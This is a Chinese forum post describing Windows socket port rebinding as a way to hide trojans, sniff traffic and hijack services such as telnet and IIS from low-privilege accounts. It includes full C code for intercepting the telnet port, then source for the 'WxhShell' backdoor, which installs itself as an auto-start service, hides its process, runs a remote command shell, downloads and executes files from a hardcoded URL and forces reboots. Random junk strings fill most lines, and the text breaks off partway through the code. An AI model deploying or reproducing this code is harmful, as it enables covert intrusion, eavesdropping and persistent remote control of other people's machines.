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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qHsUP;7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  +EFgE1w  
+1Vjw'P  
  saddr.sin_family = AF_INET; JIOh#VNU  
wAX1l*`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q`|LRz&al  
+J_c'ChN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )!Jc3%(B  
* "R|4"uy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Mx6@$tQ%  
{n(b{ ibl  
  这意味着什么?意味着可以进行如下的攻击: \[BK1JP  
vh"R'o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s4G|_==  
ICuF %  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4A@NxihH  
x N=i]~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]P#XVDn+;  
UUSq$~Ct  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bnm P{Ps  
,O.3&Nz,c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wDcj,:h`  
"XB[|#&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pR `>b 3  
6Ca(U'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C2@,BCR  
,pqGX3  
  #include `%CtWJ(e  
  #include '=[?~0(B  
  #include "nZ*{uv  
  #include    wyp|qIS;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ) u3 Zm  
  int main() 0*%Z's\M"  
  { iDMJicW!+F  
  WORD wVersionRequested; OH;b"]  
  DWORD ret; D0gZC  
  WSADATA wsaData; ~ }F{vm  
  BOOL val; dArDP[w  
  SOCKADDR_IN saddr; RD\  
  SOCKADDR_IN scaddr; 0zo?eI  
  int err; 9dFy"yxYa  
  SOCKET s; bx<RV7>0  
  SOCKET sc; =jSb'Vu|  
  int caddsize; xm%Um\Pb7  
  HANDLE mt; =jlt5 z  
  DWORD tid;   VGtC)mG8)  
  wVersionRequested = MAKEWORD( 2, 2 ); &Ts-a$Z7?S  
  err = WSAStartup( wVersionRequested, &wsaData ); O_$m!5ug  
  if ( err != 0 ) { zV:pQRbt.  
  printf("error!WSAStartup failed!\n"); &$"i,~q^b  
  return -1; Xg<*@4RD8  
  } Se HagKA  
  saddr.sin_family = AF_INET; 9l}FU$  
   t0z!DOODZP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ (x;5{  
T;@;R %  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HHiT]S9  
  saddr.sin_port = htons(23); W- i&sUgy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z^V6K3GSz-  
  { N5*u]j  
  printf("error!socket failed!\n"); +u!0rLb  
  return -1; XS`M-{f`  
  } GN-mrQo  
  val = TRUE; fNb`X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,$;yY)x7U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) , FhekaA  
  { '6Ay&A3N]  
  printf("error!setsockopt failed!\n"); {S,l_d+(  
  return -1; .7i` (F)  
  } Uu!f,L;ty  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T6H}/#*tK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MxSM@3v(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wSb 1"a  
3= xhoRX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /V8}eZ97  
  { \zieyE  
  ret=GetLastError(); 8#(Q_  
  printf("error!bind failed!\n"); ~\=1'D^6CK  
  return -1; 7:9.&W/KE  
  } L!=4N!j  
  listen(s,2); _7IKzUn9g[  
  while(1) XEn*?.e  
  { _{R=B8Zz\  
  caddsize = sizeof(scaddr); '&.#  
  //接受连接请求 :> D[n1v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R<sJ^nx  
  if(sc!=INVALID_SOCKET) t'BLVCu  
  { (7XCA,KTGI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W5?yy>S6N  
  if(mt==NULL) Vy*:ne  
  { Xv< B1  
  printf("Thread Creat Failed!\n"); uwa~-xX6  
  break; vJ\pR~?  
  } 4AG\[f 8q  
  } 70f Klp  
  CloseHandle(mt); RE =`  
  } JL\w_v  
  closesocket(s); 5QPM t^  
  WSACleanup(); Lg~B'd8m  
  return 0; *.\  
  }   ?shIj;c[  
  DWORD WINAPI ClientThread(LPVOID lpParam) |;.o8}  
  { \"CZI<=TB  
  SOCKET ss = (SOCKET)lpParam; v-yde >(  
  SOCKET sc; }e2(T  
  unsigned char buf[4096]; PUo/J~v  
  SOCKADDR_IN saddr; >=UF-xk;  
  long num; w=LP"bqlI  
  DWORD val; _^el\  
  DWORD ret; 0$7s^?G0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 COTp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8<.C3m 6h  
  saddr.sin_family = AF_INET; F;gx%[$GX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JNkwEZhHyg  
  saddr.sin_port = htons(23); vhsk 0$f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A81ls#is  
  { U+)xu>I  
  printf("error!socket failed!\n"); 6)vSG7Ise  
  return -1; 9uRF nzJVx  
  } BT)X8>ct  
  val = 100; D[_|*9BC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -8r  
  { ~><^'j[  
  ret = GetLastError(); T:/,2.l  
  return -1; 3 n'V\H vz  
  } L]d-hs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]Ar\c["  
  { D8>enum  
  ret = GetLastError();  EI_  
  return -1; @y82L8G/  
  } Mk=mT3=#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vC1v"L;[o/  
  { qduWzxB  
  printf("error!socket connect failed!\n"); OE4+GI.r-  
  closesocket(sc); ]8icBneA~'  
  closesocket(ss); |N}P(GF  
  return -1; s3]?8hXd  
  } -1ce<nN  
  while(1) ]u4Hk?j~<  
  { K_2|_MLlZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EL8NZ%:v:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yaG= j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  .&9 i  
  num = recv(ss,buf,4096,0); ]8T |f  
  if(num>0) hQ(qbt{e  
  send(sc,buf,num,0); 'ihhoW8  
  else if(num==0) Qu} W/j|3  
  break; 1Wm)rXW[x  
  num = recv(sc,buf,4096,0); ^s@8VAwi  
  if(num>0) c)A{p  
  send(ss,buf,num,0); P>sFV  
  else if(num==0) 1gmt2>#v%  
  break; U5-@2YcH  
  } d'/TdVM  
  closesocket(ss); J|X 6j&-  
  closesocket(sc); $ &P >r  
  return 0 ; [5uRS}!  
  } A |3tI  
G7)Fk%>  
HcedE3Rg  
========================================================== 6_d.Yfbq  
wKi^C 8Z2  
下边附上一个代码,,WXhSHELL u1z  
mwY IJy[  
========================================================== J?Dq>%+ ^  
# eCjn  
#include "stdafx.h" ,RgB$TcE  
:^Fh!br==  
#include <stdio.h> oyNSh8c7c  
#include <string.h> C_4)=#@GU  
#include <windows.h> ++aL4:  
#include <winsock2.h> B*~5)}1op  
#include <winsvc.h> `;l?12|X  
#include <urlmon.h> WdZ:K,  
m}8[#:  
#pragma comment (lib, "Ws2_32.lib") >~`r:0',  
#pragma comment (lib, "urlmon.lib") I j$lDJS  
WBNw~|DO]  
#define MAX_USER   100 // 最大客户端连接数 #7ov#_2Jd  
#define BUF_SOCK   200 // sock buffer 63.wL0~  
#define KEY_BUFF   255 // 输入 buffer )r[&RGz6  
hSK;V<$[Z  
#define REBOOT     0   // 重启 ,oNOC3 U  
#define SHUTDOWN   1   // 关机 M)+$wp  
Ndo a4L)$  
#define DEF_PORT   5000 // 监听端口 C=s1R;"H  
!A>z(eIsv`  
#define REG_LEN     16   // 注册表键长度 ?UK|>9y}Z  
#define SVC_LEN     80   // NT服务名长度 lj{VL}R  
o/C\d$i'  
// 从dll定义API 0b/WpP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "H&"(=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j:}DBk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H-3Eo#b#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _[Vf547vS  
$8p7D?Y  
// wxhshell配置信息 ?W( 6  
struct WSCFG { K]U;?h&CZc  
  int ws_port;         // 监听端口 Q2A7mGN  
  char ws_passstr[REG_LEN]; // 口令 i~3u>CT  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3d-%>?-ee  
  char ws_regname[REG_LEN]; // 注册表键名 hzI|A~MFB  
  char ws_svcname[REG_LEN]; // 服务名 A<6%r7&B'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q~@]W=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eeHP&1= 7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S.Z9$k%   
int ws_downexe;       // 下载执行标记, 1=yes 0=no M[z)6 .  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3Wwj p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +3a?` Z  
PG8^.)]M  
}; F  q!fWl  
y!5$/`AF  
// default Wxhshell configuration r1<F  
struct WSCFG wscfg={DEF_PORT, }BiiE%a  
    "xuhuanlingzhe", Ja SI^go  
    1,  Ug:\  
    "Wxhshell", Qj3a_p$)P  
    "Wxhshell", ,ZQZ}`x(  
            "WxhShell Service", <BO)E(  
    "Wrsky Windows CmdShell Service", 0W3i()  
    "Please Input Your Password: ", 50 A^bbid  
  1, T \CCF  
  "http://www.wrsky.com/wxhshell.exe", >Bs#Xb_B]  
  "Wxhshell.exe" 'kYwz;gp  
    }; .i^7|o:  
(mtoA#X1:h  
// 消息定义模块 s;1]tD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K_ lVISBQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `fNG$ODL   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t6BHGX{o  
char *msg_ws_ext="\n\rExit."; Hg9CZM ko  
char *msg_ws_end="\n\rQuit."; _BFOc>0  
char *msg_ws_boot="\n\rReboot..."; pDQ}*   
char *msg_ws_poff="\n\rShutdown..."; l c_E!"1  
char *msg_ws_down="\n\rSave to "; pA;-v MpMj  
 e(NLX`  
char *msg_ws_err="\n\rErr!"; /t6X(*xoy  
char *msg_ws_ok="\n\rOK!"; {QbvR*gv  
4CQ"8k(S"  
char ExeFile[MAX_PATH]; AW#<i_Ybf  
int nUser = 0; Z4){ 7|~a  
HANDLE handles[MAX_USER]; x!_<z''  
int OsIsNt; 4lqH8l.  
 6l$L~>  
SERVICE_STATUS       serviceStatus; MG /,==  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tTN?r 8  
'TTUN=y  
// 函数声明 Z_gC&7+  
int Install(void); ( Y+N@d  
int Uninstall(void); 8?*RIA.a  
int DownloadFile(char *sURL, SOCKET wsh); R.LL#u};  
int Boot(int flag); ? <Y+peu  
void HideProc(void); p#SY /KIw  
int GetOsVer(void); U$H @ jJ*  
int Wxhshell(SOCKET wsl); #q3l!3\mW  
void TalkWithClient(void *cs); kz"3ZDR  
int CmdShell(SOCKET sock); Y%|@R3[Nk  
int StartFromService(void); 3x~{QG5Gn  
int StartWxhshell(LPSTR lpCmdLine); 4t/&.  
#{9G sD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M(d6Z2ibh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ubu?S%`  
&TG5rUUg  
// 数据结构和表定义 7O`o ovW$  
SERVICE_TABLE_ENTRY DispatchTable[] = W23]Bx  
{ SEl#FWR  
{wscfg.ws_svcname, NTServiceMain}, n,~;x@=5  
{NULL, NULL} !GW ,\y  
}; aZKOY  
[ BT)l]  
// 自我安装 PY3ps2^K.  
int Install(void) {B*W\[ns  
{ 0F#>CmD  
  char svExeFile[MAX_PATH]; hI pKJ&hm  
  HKEY key; F?m?UQS'u  
  strcpy(svExeFile,ExeFile); zq1mmFIO  
VR!-%H\AW  
// 如果是win9x系统,修改注册表设为自启动 51# "3S  
if(!OsIsNt) { }X;U|]d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qn"D#K'&(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `o79g"kxe  
  RegCloseKey(key); XJ!(F#zc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o{*ay$vA]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0)9"M.AIvo  
  RegCloseKey(key); CK_(b"  
  return 0; * n(> ^  
    } `]$?uQ  
  } M+wt_ _vHf  
} #a| L3zR5v  
else { -ng=l;  
19(Dj&x  
// 如果是NT以上系统,安装为系统服务 Fg/dS6=n`?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wA`"\MWm  
if (schSCManager!=0) gPzL*6OS A  
{ NZu)j["  
  SC_HANDLE schService = CreateService 44\>gI<  
  ( 7@a 0$coP  
  schSCManager, `>D9P_Y"jI  
  wscfg.ws_svcname,  n i  
  wscfg.ws_svcdisp, aFY_:.o2k`  
  SERVICE_ALL_ACCESS, cgC\mM4Nla  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #JA}3]  
  SERVICE_AUTO_START, A>NsKWf{  
  SERVICE_ERROR_NORMAL, X E}H3/2  
  svExeFile, %o?IsIys  
  NULL, +:6Ii9G N  
  NULL, Lt#'W  
  NULL, 5j"1z1_&  
  NULL, ]WJfgN4  
  NULL ^IgY d*5  
  ); %Y4e9T".  
  if (schService!=0) ">dq0gD  
  { U},=LsDsW4  
  CloseServiceHandle(schService); I~'*$l  
  CloseServiceHandle(schSCManager); ZX b}91rzt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -Uo?WXP]B'  
  strcat(svExeFile,wscfg.ws_svcname); [O-sVYB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1u]P4Gf=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vMSW$Bx ;  
  RegCloseKey(key); K:yr-#(P/  
  return 0; C9Bh@v%90^  
    } <Y'>F!?#  
  } (I{ $kB"p  
  CloseServiceHandle(schSCManager); SQE[m9v  
} ,6<"  
} (}!C4S3#  
(#(O r  
return 1; lS{r=y_0.  
} yy2Ie  
# Oup^ o@  
// 自我卸载 AyE\fY5  
int Uninstall(void) &h$|j  
{ Y9r3XhVI  
  HKEY key; }bB` (B,m  
h3u1K>R)  
if(!OsIsNt) { 1 [z'G)v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !- ~ X?s~L  
  RegDeleteValue(key,wscfg.ws_regname); \tJFAc  
  RegCloseKey(key); 7z~Ghz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S+x_c4 T  
  RegDeleteValue(key,wscfg.ws_regname); "oc$  
  RegCloseKey(key); FE5Q?*Ea  
  return 0; N4^5rrkL  
  } m8R=?U~!S  
} 4cCF \&yU  
} ,*,sw:=2  
else { $*~Iu%Az  
}GHxG9!z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); US?Rr  
if (schSCManager!=0) ~el-*=<m  
{ #j@OLvXh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yq'4e[i  
  if (schService!=0) ~krS#\  
  { ;Fl<v@9  
  if(DeleteService(schService)!=0) { cep$_J a  
  CloseServiceHandle(schService); >`V}U*}*H  
  CloseServiceHandle(schSCManager); e`U Qz$4!  
  return 0; Ef7:y|?  
  } `U`#I,Ln[  
  CloseServiceHandle(schService); #I\Y= XCY  
  } R U!?-#*  
  CloseServiceHandle(schSCManager); PE@+w#i7*  
} 7h<> k*E)  
} 32XS`Z  
*07sK1wW  
return 1; OOy}]uYF`  
} gp< =Gmd  
Jj"HpK>[  
// 从指定url下载文件 5vZ#b\;#V  
int DownloadFile(char *sURL, SOCKET wsh) OHp5z? z  
{ p6 xPheD  
  HRESULT hr; v"1Po_`  
char seps[]= "/"; =fG:A(v%}  
char *token; J=WB6zi  
char *file; 2:v<qX  
char myURL[MAX_PATH]; 4L:>4X[T  
char myFILE[MAX_PATH]; [ x>  
\SYvD y]  
strcpy(myURL,sURL); LPE)  
  token=strtok(myURL,seps); P2k7M(I_&  
  while(token!=NULL) CJ w$j`k  
  { L`K;IV%;  
    file=token; a5wDm  
  token=strtok(NULL,seps); M'jXve(=yF  
  } Q</h-skLZ  
E8[XG2ye  
GetCurrentDirectory(MAX_PATH,myFILE); r?p{L F  
strcat(myFILE, "\\"); o'UHStk  
strcat(myFILE, file); 3o8\/-*<  
  send(wsh,myFILE,strlen(myFILE),0); Y)p4]>lT+8  
send(wsh,"...",3,0); Gbb \h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); INNAYQ  
  if(hr==S_OK) l)@:T|)c  
return 0; lmFA&s"m  
else F1u)i  
return 1; #\FT EY!  
5:gj&jt;)7  
} ( tn< VK.  
9Q[>.):  
// 系统电源模块 >[3X]n,0  
int Boot(int flag) uW[3G  
{ *TnzkNN_,  
  HANDLE hToken; nxRwWj57  
  TOKEN_PRIVILEGES tkp; qZ\ L  
@ ^. *$E5  
  if(OsIsNt) { ,/o(|sks  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %8D?$v"#Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1X@b?6  
    tkp.PrivilegeCount = 1; A@ VaaX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @l>Xnqx)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8R/ *6S=&  
if(flag==REBOOT) { w~-X>~}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ( pD7  
  return 0; vgk9b!Xd  
} 8eX8IR!K9  
else { ~%P3Pp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e[4V%h  
  return 0; Yo'K pdn  
} >h7$v~nra  
  } T&/_e   
  else { nLd~2qBuv  
if(flag==REBOOT) { &z ksRX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NV~vuC  
  return 0; Zz")`hUG  
} tp+=0k2i  
else { #: hVF/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )0|):g   
  return 0; pTET%)3  
} Wm>b3:  
} FfXZ|o$;  
`vEqj v  
return 1; b`]M|C [5  
} *<dHqK`?C  
cHEz{'1m  
// win9x进程隐藏模块 !3x *k;0  
void HideProc(void) EIK*49b2  
{ pzSqbgfrQ  
{Q<0\`A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %BICt @E  
  if ( hKernel != NULL ) h#O"Q+J9n  
  { )k~1,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <ge}9pU)o^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wT% "5:  
    FreeLibrary(hKernel); `]&*`9IK{  
  } uQ1jwYK`7  
-$L(y@%X^  
return; X 7&U3v  
} L]>4Nd  
xN "wF-s4?  
// 获取操作系统版本 {Y "8~  
int GetOsVer(void) ||fvKyKW>  
{ #NM JZ  
  OSVERSIONINFO winfo; m+7`\|`jQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q\_DJ)qpn  
  GetVersionEx(&winfo); <i7agEdZD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `U#Po_hq  
  return 1; TK %< a/  
  else %^U"Spv;  
  return 0; "uS7PplyO  
} EqQ3=XMUL@  
3.~h6r5-  
// 客户端句柄模块 9 P~d:'Ib  
int Wxhshell(SOCKET wsl) ?&\h;11T  
{ U%,;N\:_  
  SOCKET wsh;  Q>[Ce3  
  struct sockaddr_in client; ;%!tf{Si  
  DWORD myID; $2is3;h  
\ %_)_"Q  
  while(nUser<MAX_USER) 4JSZ0:O  
{ Kt6C43]7  
  int nSize=sizeof(client); #~*XDWvIS~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T NIst  
  if(wsh==INVALID_SOCKET) return 1; j$0zD:ppW  
AtT"RG-6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1^tSn#j  
if(handles[nUser]==0) zM\IKo_"  
  closesocket(wsh); )1K! [ W}t  
else mCK],TOA:  
  nUser++; Mb~~A5  
  } b_ZNI0Hp@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Seg#s.  
k!9=  
  return 0; " Ac~2<V  
} ;9vIa7L&  
*f?S5 .  
// 关闭 socket lh~<s2[R2  
void CloseIt(SOCKET wsh) ^+URv  
{ b.@H1L  
closesocket(wsh); |[DV\23{G  
nUser--; )kF2HF  
ExitThread(0); v10mDr  
} (< :mM  
EZ*t$3.T  
// 客户端请求句柄 )ph30B  
void TalkWithClient(void *cs) X;(oz]tr$  
{ R~!\ -6%_  
@OY1`Eu O  
  SOCKET wsh=(SOCKET)cs; [' ?^>jfr  
  char pwd[SVC_LEN]; 48:liR  
  char cmd[KEY_BUFF]; xSdN5RN  
char chr[1]; K_Z+]]$#  
int i,j; Z~:/#?/  
p8$\uo9YQ  
  while (nUser < MAX_USER) { Lp!0H `L  
|$Qp0vOA}  
if(wscfg.ws_passstr) { ,RR;VKj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,cPkx~w0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [6G=yp  
  //ZeroMemory(pwd,KEY_BUFF); {uEu >D$8  
      i=0; Z 4\tY^NI  
  while(i<SVC_LEN) { J-b~4  
%l%=Dkss  
  // 设置超时 6W]OpM  
  fd_set FdRead; QN3 qF|))  
  struct timeval TimeOut;  !,Qm  
  FD_ZERO(&FdRead); SQKi2\8w  
  FD_SET(wsh,&FdRead); <|B$dz?r  
  TimeOut.tv_sec=8; Tm%WWbc  
  TimeOut.tv_usec=0; aD?# ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;,mBT[_ZO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %Fs*#S  
K?$ 9N}+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a^%8QJW  
  pwd=chr[0]; ^dheJ]n=k  
  if(chr[0]==0xd || chr[0]==0xa) { [y_yPOv  
  pwd=0; /4(Z`e;0  
  break; 'lxLnX  
  } }!eF  
  i++; \moZ6J  
    } YomwjKyuP  
~wa%fM  
  // 如果是非法用户,关闭 socket p .lu4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qK{| Q  
} ;_>s0rUV  
b=V)?"e-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CM`x>J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +GRxHuW,  
K3a>^g  
while(1) { L-`(!j  
*Ro8W-+  
  ZeroMemory(cmd,KEY_BUFF); qw9e) `3$  
9)ACgz&(  
      // 自动支持客户端 telnet标准   aIQrb  
  j=0; !&'# a  
  while(j<KEY_BUFF) { k,a,h^{}j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !1D%-=dWX  
  cmd[j]=chr[0]; FAH[5VD r%  
  if(chr[0]==0xa || chr[0]==0xd) { "ugX /r$_  
  cmd[j]=0; >oVc5}  
  break; zC<'fT/rG  
  } M|1eqR%x-?  
  j++; 7^n,Ti g  
    } &*X3c h  
(PRaiE  
  // 下载文件 z\X60T  
  if(strstr(cmd,"http://")) { H?rSP0.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cZPbD;e:  
  if(DownloadFile(cmd,wsh)) cjCE3V9X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zG& WWc`K  
  else ztRWIkI q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rd|@*^k  
  } bv.EM  
  else { Rh!L'? C  
emGV]A%nss  
    switch(cmd[0]) { ; :v]NZtc  
  Q,[rrG;?@  
  // 帮助 oc!biE`u  
  case '?': { #N<s^KYG-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }T?i%l  
    break; Ej;Vr~Wi  
  } h<PYE]?l  
  // 安装 Se!gs>  
  case 'i': { (1QdZD|  
    if(Install()) [d!Af4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Uj68Jl?  
    else dM);LT8@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0S)"Q^6n y  
    break; Hj}g1"RA  
    } MsN2A6|33  
  // 卸载 ^4n2 -DvG  
  case 'r': { .F{}~K]  
    if(Uninstall()) {Hktu|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FE$M[^1_  
    else 9$B)hrJo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -~QlHp&SY  
    break; f 3nnXE"  
    } F?yh23&_4  
  // 显示 wxhshell 所在路径 e["Z!D_H  
  case 'p': { GE/IaLo  
    char svExeFile[MAX_PATH]; @c.11nfn`  
    strcpy(svExeFile,"\n\r"); $bF`PGR_  
      strcat(svExeFile,ExeFile); YHwVj?6W  
        send(wsh,svExeFile,strlen(svExeFile),0); BDv|~NHs  
    break; eZa3K3^  
    } VZ9e~){xA  
  // 重启 (E2lv#[  
  case 'b': { mSVX4XW<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G#_(7X&  
    if(Boot(REBOOT)) :epitpJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8WPV  
    else { +lY\r +;  
    closesocket(wsh); :Su5  
    ExitThread(0); OF<[Nh\.  
    } -y7l?N5F>  
    break; ex;Y n{4  
    } s+OvS9et_  
  // 关机 NKIkd  
  case 'd': { 'ugR!o1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~|$) 1  
